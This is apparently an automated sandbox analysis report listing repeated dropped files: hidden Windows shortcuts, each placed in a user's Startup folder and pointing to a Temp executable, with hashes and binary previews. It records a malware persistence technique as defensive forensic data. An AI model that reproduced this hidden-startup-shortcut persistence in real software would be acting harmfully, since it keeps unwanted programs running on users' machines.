File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926722743256845
Encrypted:	false
SSDEEP:	24:87Bfv8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7D3AC4F9BCF2B08875B786901BB4370A
SHA1:	EBF4F2085072AAB6362D3C331119989DA85C4773
SHA-256:	F8F2686DEAB3007CC9B0CE6130DB6A26A94C504F8E141C238CB9D66DC05EE8F4
SHA-512:	BE312919F40A18DDB164899CA5AED3F2916E52BD78D8C658063D5308485A2A5C69BA19999666179004D006EAD2B4DD13A60C94889988C8C6E4256EE8BD6D8A0D
Malicious:	false
Preview:	L..................F....".......d....X.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....3J.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35c071a677804ae8852ef53d3a62ce6c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928396870595955
Encrypted:	false
SSDEEP:	24:8FZBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81fEvZ0yRO7DLO2zdxdRd1kyg
MD5:	16CD719F67C2295BD3A9BDA5E6B8C4C0
SHA1:	373D357F939B40F5B4F29EB1553F066EACDEC294
SHA-256:	74A0C636B3A52524BB704418518ED65983274BD12DC92D9EC2F1254CEE67F172
SHA-512:	318199F3C4887240503EF283B11DC9FDFEE1A1D8A6FEBB788F3E59DE57AFBB62F84DF52C5F730057D326CCE016E5710925517B1CE549B3F262CCFAEE4C2E5AB4
Malicious:	false
Preview:	L..................F....".......d......#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_35c33106b4e845f8a0d9197a5d660dd1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920018214204478
Encrypted:	false
SSDEEP:	24:8HBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AB6808DEEAE5A66CE3CDF6BF52624CC0
SHA1:	6BB85039B71F99A588D9FDBC3DAB6C4EEC4236CC
SHA-256:	3E4757D7FC781BC8AF3F372367E2C0C9276E96E484553458B5F70A58A99FE984
SHA-512:	DBD037284AA40F72BE6744BA3F3DAD48404375E5429C413853CD42B77DE3C6F65FF940985E5E2ADDF17D077BAA7D7C3CB07441848D1E698905D4DE562E11AA89
Malicious:	false
Preview:	L..................F....".......d......^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36146b4b6a0144a3ba3f80ae43eebb5b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:50 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915263464366705
Encrypted:	false
SSDEEP:	24:8tBff48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4EC9D8592C39E4987162D4B800F8D7D0
SHA1:	FCFECE13F42E085445AD6FC2356D2261424492F7
SHA-256:	784F08966B5CCE7CED496E52340C664AE565E204753538EC2C0ADC07D417E988
SHA-512:	ED360A37D773E63065D6258493305B188DE3FE28779F80F6C152D5BE7732CFC55B87CC720794D517792D6D6D1E5B92481F5BDC8CB845B78CD45AC2F9E03E19B7
Malicious:	false
Preview:	L..................F....".......d...B.a_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...!.L_d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_361a76f0633d4b059b2c6dbb17bb8c14.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923542443279367
Encrypted:	false
SSDEEP:	24:81Bfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	243B8341F479C0B78BAFF7F886BC3B5B
SHA1:	FA99A1A5D69020082696685902F46A543C66FB5A
SHA-256:	9B391A56AB5CD52FE5428B4C56AE035CC32C9B2F27A0D4F4572C3F6981CDFA71
SHA-512:	30309DF2CE7105879A7F5D57B02EBEE74B315B9EE1D629E5D84298500E17F3117745BF5B6EEE5CD279D0F98B37A6BC14A92BADE4074F799AAB97E10BBF0241AA
Malicious:	false
Preview:	L..................F....".......d.....K~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....H~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3623cbf1a6574ca9b15da0fa16784166.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923775626104468
Encrypted:	false
SSDEEP:	24:8NerBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NedyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	712A618C1C0D34E90D44CB56C25AC924
SHA1:	4EEC29F9766FD2C8E8F7F430602D82E8190A8F1C
SHA-256:	7DE612D1D8CE3A080AE9C6DF0C74BB2CA3796702D3169EF2A7C845B3BD9ED751
SHA-512:	6B5D4FCD00DDB16BC0D4A7A1FDCD7528EFFA94B29F47ACEA1C3EFE0884F7ED8BA75E2FB38DF414C250A90271AB436958F1F48FC96BB6158C4ECF4F6A479EB926
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36994fe5130b48e98424709ce450a37a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918629323171126
Encrypted:	false
SSDEEP:	24:8JBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	474065F23FF38DC0E2B2CC44C9855547
SHA1:	E92197B53D23E213F27544064E6C9DE6D080163B
SHA-256:	EF1BEEFF253B1D93C3B726DEF882E93DFBC88818771CC209C9AC2A9F4E829DB7
SHA-512:	82869AD42B1D8EAD3A6A6E7D95E11CC09FA28A82C5CA9E98535846DE0CD253A3FD5AEF338DC3BCAA98945D7B57DE3CB0777A6C20C5DC99CEA54BBA5270326BE2
Malicious:	false
Preview:	L..................F....".......d.....P[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37433ec343d64efbb15c2b16c2dd5166.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915564924413736
Encrypted:	false
SSDEEP:	24:8NBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/WEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FBEF13D1D211A3ED1A10D65AA140A2D2
SHA1:	878CD2334325A6F3141533A3FE58A0FE8AA2362C
SHA-256:	5524E3F11503AE502BC22DBEB0BB54555714C78C43C693CEB9A26EB73BB8634F
SHA-512:	F09AC8AB0F2489DB2A3CF9571EFB3111641F92FB3296B30B03DA7E8D6E93984A9360781D463B29D91F68232B4C1CAD0BE73AD80E9F39063C73E4E95063A0DABE
Malicious:	false
Preview:	L..................F....".......d...6?.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_374622c17dc3459ba021387188de3181.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914862958350184
Encrypted:	false
SSDEEP:	24:8+BfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7ADEF27463CF5523CD4A5DF789756023
SHA1:	74847581D8B06B4E5E9A0B12CD5405157946D49F
SHA-256:	DB3AC0D82EE71021D0A7E00E17E57C5D71AFCEDB3BDAA8A868589C715D30525B
SHA-512:	6B8141419A14BFA1832B8D904C4A15C801C3FA9D03B0E77E145C139630DB763B0B6B17F90CED3D7C47CDF99F03655ADBE20A9DB689D0F39E15029381F05463F4
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_375a627c251d46d69691fa62cca36310.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919586297908731
Encrypted:	false
SSDEEP:	24:8UBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7C71E57CFFBE6C505841E6B94B3497B5
SHA1:	A3E78446CB103A10275E1EFADE82DBB27188EEC9
SHA-256:	4129725A184B14061974F9166FB037F8D0608FE0D9FDF1219A0A9B865F5DDD08
SHA-512:	4A76A1BE2BD08509932E8EA356EF40187BB3A1A62F4648F003B9EDAA38D9C9C14A506AE7A8B1F1C3AF5C3FD322922336C591801C59428B3DB41D550BA7B3B15E
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_379aff873bf34c41997d462a91f61e20.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937662
Encrypted:	false
SSDEEP:	24:85Bf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AC7C52DB12840D764A34798012D942C6
SHA1:	B7AD38DB4A789BC967235C0057A4434541A84F67
SHA-256:	80BE55391D13A253252139A0961F0ABC149A669C8698FEEE522722A4F3053B6B
SHA-512:	098E1C712EBF2351CA13EA210712E8F24AEFB7CB428180DA7F02CCAD7708CD9EB288AF152594243DF74A118390CB1E6F972D4CE1BD4EE7D267E2E5B0D3CB2711
Malicious:	false
Preview:	L..................F....".......d.....IRd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....IRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37bb5516687f4f8ca361b5f9d1ca7e73.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928396870595955
Encrypted:	false
SSDEEP:	24:8X2Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X8p9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	4276A4107DBB3CDD3623D8934EA6B66D
SHA1:	F89B4EBB733E9F0CD85327073AC8BC981F888459
SHA-256:	03BED16C2E9A7F8F273AB8DED5E1FB624E6BD4791C2EA90C7F597DA149C2C06F
SHA-512:	430990C9B4CDB598B046FF03A33996689392715DA271F621A2A0FA71AC8FF05C311944B4E60C24E2922FEE3043F1D6325511F24D68BA317FB71E8B31213D0392
Malicious:	false
Preview:	L..................F....".......d.....(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37c3097e41c6405a869d0fca4833f92f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918243194127207
Encrypted:	false
SSDEEP:	24:8QBfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6557CC463C230374D39FF6179BEB169C
SHA1:	5371F1BA5C87F5DB999C5383771A71905DC7A54B
SHA-256:	46A2D7588432493C7807D8E4999FAAEAE18B946D93EB32775AFC388F77D64AFA
SHA-512:	E15337090862296BFE3E8E503507C7FFBC8D76EB0C5447B9DE40F5DFABC72AC5B1EA1407DC8BFC7E3ECD7FB13BA737CEE3F5573AA4F36070609F6AC95A5F71D6
Malicious:	false
Preview:	L..................F....".......d.....m.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37c3d651e5464e1a8f93b92872d6fab9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
